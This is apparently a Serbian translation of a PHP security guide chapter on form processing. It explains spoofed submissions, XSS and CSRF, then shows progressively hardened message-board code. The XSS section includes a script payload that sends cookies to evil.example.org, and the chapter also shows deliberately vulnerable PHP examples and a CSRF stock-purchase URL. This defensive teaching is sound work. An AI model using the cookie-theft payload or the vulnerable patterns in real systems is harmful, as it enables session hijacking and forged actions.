Vodič za PHP bezbednost (PHP Security Guide): Procesuiranje formulara


< PreviousNext >Baze podataka i SQLPregled

Podnošenje obmanjivačkog formulara (Spoofed Form Submissions)

Da bi se cenila neophodnost filtriranja podataka, razmotrite sledeći formular, koji se nalazi (hipotetički) na http://example.org/form.html:

<form action="/process.php" method="POST">
<select name="color">
    <option value="red">red</option>
    <option value="green">green</option>
    <option value="blue">blue</option>
</select>
<input type="submit" />
</form>

Zamislite potencijalnog napadača koji snimi ovaj HTML i modifikuje ga kao što sledi:

<form action="http://example.org/process.php" method="POST">
<input type="text" name="color" />
<input type="submit" />
</form>

Ovaj novi formular može biti lociran bilo gde (web server nije uopšte neophodan, budući da treba samo da je čitljiv preko web čitača), i formular može da se manipiliše po želji. Apsolutni URL koji je korišćen u action atributu omogućava da POST zahtev bude poslat na isto mesto.

Ovo čini veoma lakim eliminisanje bilo kakvih restrikcija sa klijentske strane, bilo da su restrikcije u HTML formularu ili skripta sa klijentske strane namenjene da izvedu neko osnovno filtriranje podataka. U navedenom primeru, $_POST['color'] ne mora neophodno da bude red, green, ili blue. Veoma lakim postupkom, bilo koji korisnik može da kreira pogodni formular koja može biti iskorišćena za podnošenje bilo kog podatka URL - u koji obrađuje formular.

Obmanjivački HTTP zahtev (Spoofed HTTP Request)

Moćniji, mada manje pogodan način pristup je obmanuti HTTP zahtev. I primeru koji smo upravo objašnjavali, gde korisnik bira boju, rezultujući HTTP zahtev izgleda kao što sledi (predpostavljajući da je izbor red):

POST /process.php HTTP/1.1
Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

color=red

Program telnet može biti iskorišćen da se obave neka ad hoc testiranja. Sledeći primer daje jednostavan GET zahtev za http://www.php.net/:

$ telnet www.php.net 80
Trying 64.246.30.37...
Connected to rs1.php.net.
Escape character is '^]'.
GET / HTTP/1.1
Host: www.php.net

HTTP/1.1 200 OK
Date: Wed, 21 May 2004 12:34:56 GMT
Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-dev
X-Powered-By: PHP/4.3.3-dev
Last-Modified: Wed, 21 May 2004 12:34:56 GMT
Content-language: en
Set-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,28-May-04 12:34:56 GMT; path=/; domain=.php.net
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

2083
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN">
...

Naravno, možete napisati svoj sopstveni klijent umesto da svojeručno unosite zahteve preko telnet - a. Sledeći primer pokazuje kako da se postavi isti zahtev koristeći PHP:

<?php

$http_response = '';

$fp = fsockopen('www.php.net', 80);
fputs($fp, "GET / HTTP/1.1\r\n");
fputs($fp, "Host: www.php.net\r\n\r\n");

while (!feof($fp))
{
    $http_response .= fgets($fp, 128);
}

fclose($fp);

echo nl2br(htmlentities($http_response));

?>

Slanje svojih sopstvenih HTTP zahteva daje vam kompletnu fleksibilnost, i ovo demonstrira zašto je filtriranje podataka na serveskoj strani toliko neophodnodo. Bez njega, nemate nikakvu garanciju o bilo kojim podacima koja dolaze iz bilo kog spoljnjeg izvora.

Cross-Site skriptovanje (Cross-Site Scripting)

Mediji su pomogli da cross-site skriptovanje (XSS) postane poznat termin, i pažnja je zaslužena. U pitanju je jedan od najčešćih sigurnosnih propusta u web aplikacijama, i mnoge popularne open source PHP aplikacije pate od konstantih XSS propusta.

XSS napadi imaju sledeće karakteristike:

  • Zloupotreba poverenja koje korisnik ima ka određenom sajtu.

    Korisnik ne mora da ima visok nivo poverenja ka bilo kom web sajtu, ali web čitač ima. Na primer, kada web čitač pošalje cookie-je u zahtevu, on veruje web sajtu. Korisnik, takođe, može imati različite navike prilikom pretraživanja ili čak različite nivoe bezbednosnih podešavanja definisane u svojim web čitačima u zavisnosti od sajta koji posećuju.

  • U osnovi uključuju web sajtove koji prikazuju spoljne podatke.

    Aplikacije sa povišenim rizikom uključuju forume, web mejl klijente, i bilo šta što prikazuje uređeni sadržaj (poput RSS unosa).

  • Ubacivanje sadržaja po izboru napadača.

    Kada spoljni sadržaj nija pravilno filtriran, može se desiti da prikažete sadržaj po napadačevom izboru. Ovo je isto toliko opasno kao i dopustiti napadaču da obrađuje vaš izvorni kod na serveru.

Kako se ovo može dogoditi? Ako prikazujete sadržaj koji dolazi iz bilo kog spoljašnjeg izvora bez da ga pravilno profiltrirate, podložni ste XSS napadu. Spoljni podaci nisu limitirani na podatke koji dolaze od klijenta. Ovo takođe podrazumeva e-mail prikazan u web mejl klijentu, baner reklamu, uređeni blog, i slično. Svaka informacija koja nije već u kodu dolazi iz spoljnjeg izvora, i ovo uopšte znači da je većina podataka spoljašnjeg karaktera.

Razmotrite sledeći pojednostavljeni primer sistema za ostavljanje poruka:

<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

if (isset($_GET['message']))
{
    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "{$_GET['message']}<br />");
    fclose($fp);
}

readfile('./messages.txt');

?>

Ovaj sistem dodaje <br /> bilo čemu što korisnik unese, zatim to doda fajlu, i onda prikaže trenutni sadržaj fajla.

Zamislite da korisnik unese sledeću poruku:

<script>
document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie
</script>

Sledeći korisnik koji poseti sistem sa čitačom u kome je omogućen JavaScript biva preusmeren na evil.example.org, i bilo koji Cookie-ji asocirani sa trenutnim sajtom su uključeni u string upita URL-a.

Naravno, pravi napadač ne bi bio ograničen na moj nedostatak kreativnosti ili ekspertize u JavaScript-u. Budite slobodni i predložite bolje (malicioznije?) primere.

Šta činiti? Od XSS napada je zapravo jednostavno odbraniti se. Stvari se komplikuju kada želite da dotvolite neki HTML ili klijentske skripte da budu obezbeđene od spoljnih izvora (kao drugih korisnika) i prikazane na kraju, ali čak ni ove situacije nisu tako teške za kontrolu. Sledeći postupci mogu umanjiti rizik od XSS napada:

  • Filtrirajte sve spoljne podatke.

    Kao što je napomenuto ranije, filtriranje podatakaje najvažniji postupak koji možete usvojiti. Proverom svih spoljašnjih podataka koji ulaze i izlaze iz vaše aplikacije, umanjujete većinu XSS rizika.

  • Koristite postojeće funkcije.

    Pustite PHP da pomogne u vašoj logici filtriranja. Funkcije poput htmlentities(), strip_tags(), i utf8_decode() mogu biti korisne. Pokušajte da izbegnete reprodukciju nečega što PHP funkcija već radi. Ne samo da su PHP funkcije mnogo brže, već su i mnogo testiranije i manje verovatno sadrže greške koje uzrokuju ranjivosti.

  • Koristite pristup bele liste.

    Pretpostavite da su podaci loši dok se ne pokažu ispravnim. Ovo podrazumeva proveravanje dužine i obezbeđivanje da su samo ispravni karakteri dozvoljeni. Na primer, ako korisnik podnosi svoje prezime, možete početi tako što ćete dozvoliti samo karaktere alfabeta i prazna mesta. Greška iz opreznosti. Dok će imena O'Reilly i Berners-Lee biti smatrana neipravnim, ovo je lako popraviti dodavanjem još dva karaktera beloj listi. Bolje je odbiti ispravan podatak nego prihvatiti zlonamerne podatke.

  • Koristite striktna pravila davanja imena.

    Kao što je ranije napomenuto, pravila davanja imena mogu pomoću programerima da jednostavno razlikuju filtrirane i nefiltrirane podatke. Važno je učiniti ove stvari koliko god je moguće jednostavnijima za programere. Nedostatak jasnoće uzrokuje konfuziju, a ona rađa ranjivosti.

Mnogo bezbednija verzija prethodno prikazanog sistema za ostavljanje poruka je kao što sledi:

<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

if (isset($_GET['message']))
{
    $message = htmlentities($_GET['message']);

    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "$message<br />");
    fclose($fp);
}

readfile('./messages.txt');

?>

Prostim dodavanjem htmlentities(), sistem za ostavljanje poruka je sada mnogo bezbedniji. Ne sme biti smatran potpuno bezbednim, ali ovo je verovatno najjednostavniji korak koji možete preduzeti da obezbedite dovoljan nivo zaštite. Naravno, jako se preporučuje da ispratite sve preporuke o kojima smo pričali.

Cross-Site falsifikovanja zahteva (Cross-Site request forgeries)

Uprkos sličnosti u imenu, cross-site falsifikovanja zahteva (CSRF) su skoro potpuno suprotni stil napada. Dok XSS napadi koriste poverenje koje korisnik ima u web sajt, CSRF napadi zloupotrebljavaju poverenje koje web sajt ima u korisnika. CSRF napadi su mnogo opasniji, nepopularniji (što znači manje resursa za programera), i mnogo teži za odbranu od XSS napada.

CSRF napadi ima sledeće karakteristike:

  • Zloupotreba poverenja koje sajt ima za određenog korisnika.

    Mnogim korisnicima se ne može verovati, ali je uobičajeno za web aplikacije da nude određene privilegije nakon prijavljivanja u aplikaciju. Korisnici sa ovim povišenim privilegijama su potencijalne žrtve (u stvari, nesvesni saučesnici).

  • U osnovi uključuju web sajtove koji se oslanjaju na identitet korisnika. Tipično je da identitet korisnika nosi neku težinu. Sa mehanizmom bezbednog rukovanja sesijama, što je izazov po sebi, CSRF napadi i dalje mogu biti uspešni. U suštini, ovakve sredine su gde su CSRF napadi posebno snažni.

  • Izvršavanje HTTP zahteva po izboru napadača.

    CSRF napadi uključuju sve napade koji obuhvataju da napadač falsifikuje HTTP zahtev od drugog korisnika (u osnovi, varanje korisnika za slanje HTTP zahteva za napadača). Postoji nekoliko različitih tehnika koje mogu itit korišćene da bi se ovo postiglo, i ja ću prikazati neke primere jedne određene tehnike.

S obzirom da CSRF napadi uklučuju falsifikovanje HTTP zahteva, važno je prvo ostvariti osnovni nivo poznavanja HTTP.

Web čitač je HTTP klijent, i web server je HTTP server. Klijenti iniciraju transakciju slanjem zahteva, a server kompletira transakciju slanjem odgovora. Tipičan HTTP zahtev je kao što sledi:

GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*

Prva linja se naziva linija zahteva, i sadrži metod zahteva, URL zahteva (koristi se relativni URL), i verziju HTTP-a. Ostale linije su HTTP zaglavlja (header-i), i svako ime zaglavlja je praćeno zarezom, praznim mestom, i vrednošću.

Možda ste upoznati sa pristupanjem ovim informacijama preko PHP-a. Na primer, sledeći kod može biti korišćen za ponavljanje pomenutog HTTP zahteva u stringu:

<?php

$request = '';
$request .= "{$_SERVER['REQUEST_METHOD']} ";
$request .= "{$_SERVER['REQUEST_URI']} ";
$request .= "{$_SERVER['SERVER_PROTOCOL']}\r\n";
$request .= "Host: {$_SERVER['HTTP_HOST']}\r\n";
$request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";
$request .= "Accept: {$_SERVER['HTTP_ACCEPT']}\r\n\r\n";

?>

Primer odgovora na prethodni zahtev bio bi:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 57

<html>
<img src="http://example.org/image.png" />
</html>

Sadržaj odgovora je šta vidite kada pogledate izvor (source) u čitaču. img tag u ovom zahtevu obaveštava čitač na činjenicu da je potreban još jedano resurs (slika) neophodan za pravilno prikazivanje strane. Čitač zahteva ovaj resurs kao što bi i bilo koje drugo, i sledeće je primer takvog zahteva:

GET /image.png HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*

Ovo je vredno pažnje. Čitač zahteva URL naveden u src atributu img taga kao da je korisnik ručno došao tamo. Čitač nema način da specifično naglasi da očekuje sliku.

Kombinujte ovo sa onim što ste naučili o formularima, i onda razmotrite URL sličan sledećem:

http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000

Podnošenje formulara koji koristi GET metod može bilti potencijalno neraspoznatljivo od zahteva za sliku - oba mogu biti zahtevi za isti URL. Ako je direktiva register_globals uključena, metoda formulara nije ni bitna (osim ako programer koristi $_POST i slično). Nadam se da opasnost već postaje jasna.

Još jedna karakteristika čini CSRF tako moćnim je što bilo koji cookie-ji koji pripadaju URL-u su pridruženi tom URL-u. Korisnik koji je ostvario vezu sa stocks.example.org (poput da je prijavljen) može potencijalno kupiti 1000 akcija SCOX posetom stranici sa img tagom koja navodi URL iz pomenutog primera.

Razmotrite sledeći formular koji je lociran (hipotetički) na http://stocks.example.org/form.html:

<p>Kupite akcije odmah!</p>
<form action="/buy.php">
<p>Simbol: <input type="text" name="symbol" /></p>
<p>Količina:<input type="text" name="quantity" /></p>
<input type="submit" />
</form>

Ako korisnik unese SCOX za simbol, 1000 kao količinu, i podnese formular, zahtev koji je poslat čitaču je sličan sledećem:

GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234

Uključio sam Cookie zaglavlje u ovom primeru da bih ilustrovao aplikaciju koja koristi cookie kao identifikator sesije. Ako img tag poziva isti URL, isti cookie će biti poslat u pozivu za taj URL, i server tokom procesuiranja zahteva neće biti sposoban da razluči ovaj formular od prave narudžbe.

Postoji nekoliko stvari koje možete uraditi da bi zaštitili svoju aplikaciju od CSRF:

  • Koristite POST rađe negoGET u formularima. Navedite POST u method atributu vaših formulara. Naravno, ovo nije prikladno za sve vaše formulare, ali je prikladno kada formular izvršava akciju, poput kupovine akcija. U suštini, HTTP specifikacija zahteva da se GET smatra bezbednom.

  • Koristite $_POST rađe nego da se oslonite na register_globals. Korišćenje POST metoda sa podnošenje formulara je beskorisno ako se oslonite na register_globals i pozivate se na promenljive iz formulara poput $symbol i $quantity. Takođe je beskorisno ako koristite $_REQUEST.

  • Nemojte se skoncentrisati na ugodnost.

    Dok se čini poželjnim da se korisnikovo iskustvo učini što ugodnije, mnogo ugodnosti može imati ozbiljne posledice. Dok pristupi "jednig klika" mogu biti napravljeni jako bezbednim, jednostavna primena je više podložna CSRF.

  • Prisilite na korišćenje vaših formulara.

    Najveći problem sa CSRF je postojanje zahteva koji izgledaju kao podnesci formulara, ali to nisu. Ako korisnik nije zahtevao stranicu formularom, treba li pretpostaviti da je zahtev koji izgleda kao podnesak tog formulara legitiman i nameravan?

Sada možemo napisati još sigurniji sistem za ostavljanje poruka:

<?php

$token = md5(time());

$fp = fopen('./tokens.txt', 'a');
fwrite($fp, "$token\n");
fclose($fp);

?>

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

$tokens = file('./tokens.txt');

if (in_array($_POST['token'], $tokens))
{
    if (isset($_POST['message']))
    {
        $message = htmlentities($_POST['message']);

        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}

readfile('./messages.txt');

?>

Ovaj sistem za poruke još uvek ima nekoliko sigurnosnih propusta. Možete li ih uočiti?

Vreme je jako predvidivo. Korišćenje MD5 pregleda timestamp zapisa vremena je jadan izgovor za nasumični broj. Bolje funkcije su uniqid() i rand().

Još važnije, jako je jednostavno za napadača da obezbedi ispravan znak. Jednostavnom posetom ovoj stranici, ispravan znak je generisan i uključen u izvor. Sa ispravnim znakom, napadaču je jednostavo kao i pre nego što je dodata potreba za znakom.

Evo ga unapređen sistem ostavljanja poruka:

<?php

session_start();

if (isset($_POST['message']))
{
    if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])
    {
        $message = htmlentities($_POST['message']);

        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}

$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;

?>

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

readfile('./messages.txt');

?>

< PreviousNext >Baze podataka i SQLPregled